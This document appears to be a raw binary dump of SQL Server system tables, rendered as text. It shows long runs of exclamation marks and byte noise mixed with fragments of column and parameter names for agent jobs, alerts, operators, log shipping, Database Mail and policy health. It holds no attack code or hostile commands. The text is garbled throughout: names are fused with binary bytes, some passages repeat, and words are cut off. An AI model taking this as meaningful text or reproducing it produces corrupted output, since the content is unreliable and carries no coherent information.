!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`?-O)M2Z0-5&Y@M@plan_handle0-5&Y88
c@statement_start_offset0-5&Y88
_@statement_end_offset0-@[Y88
Iprimary_id0-@[Y4_secondary_server_name0-@[Y4csecondary_database_name0-@[Y4]last_copied_filename0-@[Y4]last_loaded_filename0-@[Y==elast_copied_last_updated0-@[Y==elast_loaded_last_updated0-@[Y$$Wsecondary_plan_id0-@[Y	hhMcopy_enabled0-@[Y
hhMload_enabled0-@[Y88
_out_of_sync_threshold0-@[Y88
Sthreshold_alert0-@[Y
hhcthreshold_alert_enabled0-@[Y88
gplanned_outage_start_time0-@[Y88
cplanned_outage_end_time0-@[Y88
kplanned_outage_weekday_mask0-@[YhhtC[Wallow_role_change0-,JYhhe@use_default_credentials0-,JY4U@mailserver_type0-,JY4G@username0-,JY4G@password0-VTY4G@job_name0-VTY$$C@job_id0-VTY4[@originating_server0-VTY4M@server_name0-ZZ@K@sql_handle0-enZ4E@address0-enZ@4S@parameter_name0-J~[4Qparameter_name0-J~[@Sparameter_value0-x[88
O@principal_id0-x[4S@principal_name0-x[hhW@allow_both_nulls0-x[UQ@principal_sid0-Ȝ[4G@job_name0-Ȝ[88
E@step_id0-׶l\88
K@profile_id0-׶l\4O@profile_name0-׶l\hhW@allow_both_nulls0-׶l\hhc@allow_id_name_mismatch0-׶l\88
I@profileid0-\4K@login_name0-\4K@table_name0-OY4M@target_type0-OY4Q@target_object0-OY4U@policy_category0-OY88
u@policy_category_subscription_id0- tZ88
u@policy_category_subscription_id0- tZ4M@target_type0- tZ4Q@target_object0- tZ4U@policy_category0-Y[88
u@policy_category_subscription_id0-\Shealth_state_id0-\88
Gpolicy_id0-\==Olast_run_date0-\ 4 starget_query_expression_with_id0-\4@ctarget_query_expression0-\hhAresult0-\Unhealth_state_id-/[40-/[88
O@architecture-h\40-h\88
C@family0-_oZ4]physical_server_name0-_oZ88
Mhealth_state0-_oZ++
"
Sprocessing_time0-c[4]physical_server_name0-c[4]server_instance_name0-c[4Uvolume_device_id0-c[88
Mhealth_state0-c[++
"
Sprocessing_time0->W\4]server_instance_name0->W\4Odatabase_name0->W\4Cfg_name0->W\88
Gfile_type0->W\88
Mhealth_state0->W\++
"
Sprocessing_time!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;y2OX
g
p#Jj"
~M3M>>
w
U
A

8	b		J9kNU4zo`B-#)iMe4?{0-7_88
S`servergroup_id0-7_4=name0-=`4]@primary_server_name0-=`4a@primary_database_name0-=`hh[@delete_secondaries0-G=`88
K@profile_id0-G=`4O@profile_name0-G=`hhO@force_delete0-Qr`$$C@job_id0-Qr`88
E@step_id0-Qr`88
S@sql_message_id0-Qr`88
O@sql_severity0-Qr`@4E@message0-Qr`88
K@run_status0-Qr`88
G@run_date0-Qr`88
G@run_time0-Qr`	88
O@run_duration0-Qr`
88
]@operator_id_emailed0-Qr`88
]@operator_id_netsent0-Qr`88
Y@operator_id_paged0-Qr`
88
Y@retries_attempted0-Qr`4C@server0-Qr`88
K@session_id0-\`88
Qservergroup_id0-\`88
Gserver_id0-a`4a@secondary_server_name0-a`4e@secondary_database_name0-vM`Ihistory_id0-vM`88
Gpolicy_id0-vM`==!ncIstart_date0-vM`==Eend_date0-vM`hhZbdAresult0-vM`hhWeKis_full_run0-vM`4@Wexception_message0-vM`4@Gexception0-vM`Kdhistory_id!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!(

M

	~	7	6EPGn)BaZ`G-D)
Mn3Ɨ-lU0-l4I@user_name0-l88
K@profile_id0-l4O@profile_name0-l88
K@account_id0-l4O@account_name0-(l4K@alert_name0-(l4G@order_by0-(l88
G@alert_id0-(l4Q@category_name0-(lhhQ@legacy_format-2
m88
0-2
mUQ@principal_sid0-[$l88
I@policy_id0-[$lhhM@is_full_run0-[$lK@history_id0-@4m88
yXvnEmi_count0-@4m88
|joUmi_healthy_count0-@4m88
^pYmi_unhealthy_count0-@4m88
$Rq_mi_over_utilize_count0-@4m88
]Frami_under_utilize_count0-@4m88

;symi_on_over_utilized_computer_count0-@4m88
1/t{mi_on_under_utilized_computer_count0-@4m88
V#umi_with_files_on_over_utilized_volume_count0-@4m	88
Azvmi_with_files_on_under_utilized_volume_count0-@4m
88
zwumi_with_over_utilized_file_count0-@4m88
wwmi_with_under_utilized_file_count0-@4m88
xmi_with_over_utilized_processor_count0-@4m
88
%ymi_with_under_utilized_processor_count0-@4m88
^/zIset_numberUis_system_object0-R!n88
gnum_server_group_children0-R!n88
qnum_registered_server_children0-gn4S@parameter_name0-<qn4?@name0-<qn00E@enabled0-<qn4Q@email_address0-<qn4Q@pager_address0-<qn88
g@weekday_pager_start_time0-<qn88
c@weekday_pager_end_time0-<qn88
i@saturday_pager_start_time0-<qn88
e@saturday_pager_end_time0-<qn	88
e@sunday_pager_start_time0-<qn
88
a@sunday_pager_end_time0-<qn00K@pager_days0-<qn4U@netsend_address0-<qn
4Q@category_name0-f{n4I@role_name0-f{n4K@login_name0-vo88
Gserver_id0-vo88
Sserver_group_id0-vo4=name0-vo4Kserver_name0-vo4Kdescription0-vo88
Kserver_type0-!Jo4=name0-!Jo$$9id0-!Jo4Kdescription0-!Jo==Kcreate_date0-!Jo4?owner0-!Jo88
Oversion_major0-!Jo88
Oversion_minor0-!Jo88
Oversion_build0-!Jo	4Uversion_comments0-!Jo
hhEfrom_msx0-!Jo88
Khas_targets0-Ko4S@parameter_name0-Ko4U@parameter_value0-[$l88
I@policy_id0-[$lhhM@is_full_run0-[$lK@history_id0-HmK@history_id0-HmhhC@result0-Hm4Y@exception_message0-Hm4I@exception0-lnK@history_id0-ln@4e@target_query_expression0-ln@4u@target_query_expression_with_id0-lnhhC@result0-ln4Q@result_detail0-ln4Y@exception_message0-ln4I@exception0-@4m88
Emi_count0-@4m88
Umi_healthy_count0-@4m88
Ymi_unhealthy_count0-@4m88
_mi_over_utilize_count0-@4m88
ami_under_utilize_count0-@4m88
ymi_on_over_utilized_computer_count0-@4m88
{mi_on_under_utilized_computer_count0-@4m88
mi_with_files_on_over_utilized_volume_count0-@4m	88
mi_with_files_on_under_utilized_volume_count0-@4m
88
umi_with_over_utilized_file_countA7\[(
^


w8t

q
&
		K	-~-g6

	 	>1T8Yt%`-a)OQϾQ\0-Jb4a@performance_condition0-"U88
ERdbms_id0-"U4=dbms0-"U4Cversion0-Z$$Qtask_detail_id0-Z$$Cplan_id0-Z$$Isubplan_id0-Z==Istart_time0-Z==Eend_time0-ZhhGsucceeded0-ZhhSlogged_remotely0-Z4Ysource_server_name0-Z	4Gplan_name0-Z
4Msubplan_name0-e!88
Iprofile_id0-e!88
Iaccount_id0-e!88
Ssequence_number0-e!==Wlast_mod_datetime0-e!4Olast_mod_user0-1oV88
?@date0-1oV<4I@date_name0-1oV88
S@error_severity0-jJ88
?@time0-jJ<4I@time_name0-jJ88
S@error_severity0-88
MZdatatype_id0-88
Cdbms_id0-4=type0-88
gMcreateparams0->4?@name0->88
K@message_id0->88
G@severity0->00E@enabled0->88
e@delay_between_responses0->4_@notification_message0->00o@include_event_description_in0->4Q@database_name0->	4i@event_description_keyword0->
$$C@job_id0->4G@job_name0->88
W@occurrence_count0->
00U@raise_snmp_trap0->4a@performance_condition0->4Q@category_name0->88
M@category_id0->88
W@count_reset_date0->88
W@count_reset_time0->4Q@wmi_namespace0->4I@wmi_query0->88
G@event_id0-4^88
Ypolicy_category_id0-4^4=name0-4^hhqmandate_database_subscriptions0-24?@name0-24G@new_name0-200E@enabled0-288
K@message_id0-288
G@severity0-288
e@delay_between_responses0-24_@notification_message0-200o@include_event_description_in0-2	4Q@database_name0-2
4i@event_description_keyword0-2$$C@job_id0-24G@job_name0-2
88
W@occurrence_count0-288
W@count_reset_date0-288
W@count_reset_time0-288
_@last_occurrence_date0-288
_@last_occurrence_time0-288
[@last_response_date0-288
[@last_response_time0-200U@raise_snmp_trap0-24a@performance_condition0-24Q@category_name0-24Q@wmi_namespace0-24I@wmi_query0-mR88
Q^object_set_id0-mR4Sobject_set_name0-mR88
Efacet_id0-mRhhD/Gis_system0-nV4O@utility_name0-nV4Y@mdw_database_name0-nV4M@description0-z4?@name0-zbbPA@value-88
0-88
a@upload_schema_version0-4Kpolicy_name0-@4@Wrollup_object_urn0-88
Yrollup_object_type0-88
Ktarget_type0-88
Oresource_type0-88
Uutilization_type0->>5_utilization_threshold0-	hhUis_global_policy0-88
Wdhealth_policy_id!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Z`]R=HK}A638J
m$|%

&
z36
h

	w	,	[c s*Oj58Ep'P`-EA)
mM 3V0-l4M@description0-lhhK@result_set0-{rX4?@name0-{rX4C@target0-{rX44U@collection_mode0-{rX44a@days_until_expiration0-{rX88
G@proxy_id0-{rX4K@proxy_name0-{rX$$O@schedule_uid0-{rX4Q@schedule_name0-{rX	44Q@logging_level0-{rX
@4M@description0-{rX88
Y@collection_set_id0-{rX$$[@collection_set_uid0-|$$K@subplan_id0-|$$E@plan_id0-|4?@name0-|4M@description0-|$$C@job_id0-4U@credential_name0-88
Q@credential_id0-88
Oobject_set_id0-4Sobject_set_name0-88
Efacet_id0-4@Ifacet_name0-hhGis_system0-L$$C@job_id0-L88
G@proxy_id0-L4K@proxy_name0-ޠ$$C@job_id0-`4I@type_name0-`$$M@instance_id0-`4Q@instance_name0-`4O@type_version0-`@4M@description0-`M@type_stream0-88
M@sequence_id0-$$M@instance_id0-00M@action_type0-00Q@action_status0-00U@dac_object_type0-hhG@required0-4e@dac_object_name_pretran0-4g@dac_object_name_posttran0-	4I@sqlscript0-
E@payload0-6x88
i@resource_health_policy_id0-o88
i@resource_health_policy_id0-o88
a@utilization_threshold0-nx4Cmi_name0-nx88
gvolume_space_health_state0-nx88
scomputer_processor_health_state0-nx88
cfile_space_health_state0-nx88
gmi_processor_health_state0-nxhhqcontains_over_utilized_volumes0-nxhhscontains_under_utilized_volumes0-nxhhucontains_over_utilized_databases0-nx	hhwcontains_under_utilized_databases0-nx
hh]is_policy_overridden0-nx++
"
Sprocessing_time0-El4]server_instance_name0-El4Odatabase_name0-El4Qfilegroup_name0-El88
Gpolicy_id0-El88
Iset_number4M@description0-`4I@type_name0-`$$M@instance_id0-`4Q@instance_name0-`4O@type_version0-`@4M@description0-`M@type_stream0-88
M@sequence_id0-$$M@instance_id0-00M@action_type0-00Q@action_status0-00U@dac_object_type0-hhG@required0-4e@dac_object_name_pretran0-4g@dac_object_name_posttran0-	4I@sqlscript0-
E@payload0-4G@comments0-4O@error_string0-
88
I@action_id0-$$M@instance_id0-6x88
i@resource_health_policy_id0-o88
i@resource_health_policy_id0-o88
a@utilization_threshold0-88
Ktarget_type0-88
Oresource_type0-88
Uutilization_type0-4Ifacet_name0-4Qattribute_name0-88
Ooperator_type0-4Oproperty_name0-nx4Cmi_name5(

=

Q
Pe	$=s0[h
~
/
		H	FD0D`#yYbw0z7`=-Q)WL4vtt0--$$C@job_id0--4G@job_name0--88
E@step_id0--88
S@sql_message_id0--88
O@sql_severity0--88
S@start_run_date0--88
O@end_run_date0--88
S@start_run_time0--	88
O@end_run_time0--
88
_@minimum_run_duration0--88
K@run_status0--88
U@minimum_retries0--
88
O@oldest_first0--4C@server0--4?@mode0--88
G@order_by0--hhe@distributed_job_history0-;.88
[@collection_item_id0-;.4?@name0-ݐ.4;urn0-ݐ.@4@Spowershell_path0-ݐ.++
"
Sprocessing_time0-ݐ.++
"
Scollection_time0-ݐ.44IAuditLevel0-ݐ.4SBackupDirectory0-ݐ.4_BrowserServiceAccount0-ݐ.44UBrowserStartMode0-ݐ.	(4(_BuildClrVersionString0-ݐ.
88
KBuildNumber0-ݐ.4GCollation0-ݐ.88
KCollationID0-ݐ.
88
SComparisonStyle0-ݐ.4kComputerNamePhysicalNetBIOS0-ݐ.4KDefaultFile0-ݐ.4IDefaultLog0-ݐ.4CEdition0-ݐ.44OEngineEdition0-ݐ.4MErrorLogPath0-ݐ.4[FilestreamShareName0-ݐ.4]InstallDataDirectory0-ݐ.4aInstallSharedDirectory0-ݐ.4MInstanceName0-ݐ.hhSIsCaseSensitive0-ݐ.hhKIsClustered0-ݐ.hh[IsFullTextInstalled0-ݐ.hhMIsSingleUser0-ݐ.4ELanguage0-ݐ.4KMailProfile0-ݐ.4SMasterDBLogPath0-ݐ.4MMasterDBPath0-ݐ. 00MMaxPrecision0-ݐ.!4=Name0-ݐ."hhWNamedPipesEnabled0-ݐ.#4CNetName0-ݐ.$88
UNumberOfLogFiles0-ݐ.%@4@GOSVersion0-ݐ.&44KPerfMonMode0-ݐ.'88
QPhysicalMemory0-ݐ.(@4@EPlatform0-ݐ.)44IProcessors0-ݐ.*88
QProcessorUsage0-ݐ.+`4`CProduct0-ݐ.,@4@MProductLevel0-ݐ.-@4@_ResourceVersionString0-ݐ..4ORootDirectory0-ݐ./44IServerType0-ݐ.04QServiceAccount0-ݐ.14WServiceInstanceId0-ݐ.24KServiceName0-ݐ.344UServiceStartMode0-ݐ.444ISqlCharSet0-ݐ.5@4@QSqlCharSetName0-ݐ.64QSqlDomainGroup0-ݐ.744MSqlSortOrder0-ݐ.84USqlSortOrderName0-ݐ.944AStatus0-ݐ.:88
UTapeLoadWaitTime0-ݐ.;hhITcpEnabled0-ݐ.<88
MVersionMajor0-ݐ.=88
MVersionMinor0-ݐ.>@4@OVersionStringrDBPath0-ݐ. 00MMaxPrecision0-ݐ.!4=Name0-ݐ."hhWNamedPipesEnabled0-ݐ.#4CNetName0-ݐ.$88
UNumberOfLogFiles0-ݐ.%@4@GOSVersion0-ݐ.&44KPerfMonMode0-ݐ.'88
QPhysicalMemory0-ݐ.(@4@EPlatform0-ݐ.)44IProcessors0-ݐ.*88
QProcessorUsage0-ݐ.+`4`CProduct0-ݐ.,@4@MProductLevel0-ݐ.-@4@_ResourceVersionString0-ݐ..4ORootDirectory0-ݐ./44IServerType0-ݐ.04QServiceAccount0-ݐ.14WServiceInstanceId0-ݐ.24KServiceName0-ݐ.344UServicen%:Kbq"v3TqEX
{ 

5
w=

>
		Y		Z_f+,cts$/`-')y9L@|0->0$$C@job_id0->04G@job_name0->04M@server_name0->0hhS@automatic_post0-~D188
[@collection_item_id0-~D14?@name0-~D14G@new_name0-~D188
I@frequency0-~D1K@parameters0-b1$$C@job_id0-b14G@job_name0-b14M@server_name0-cT1++
"
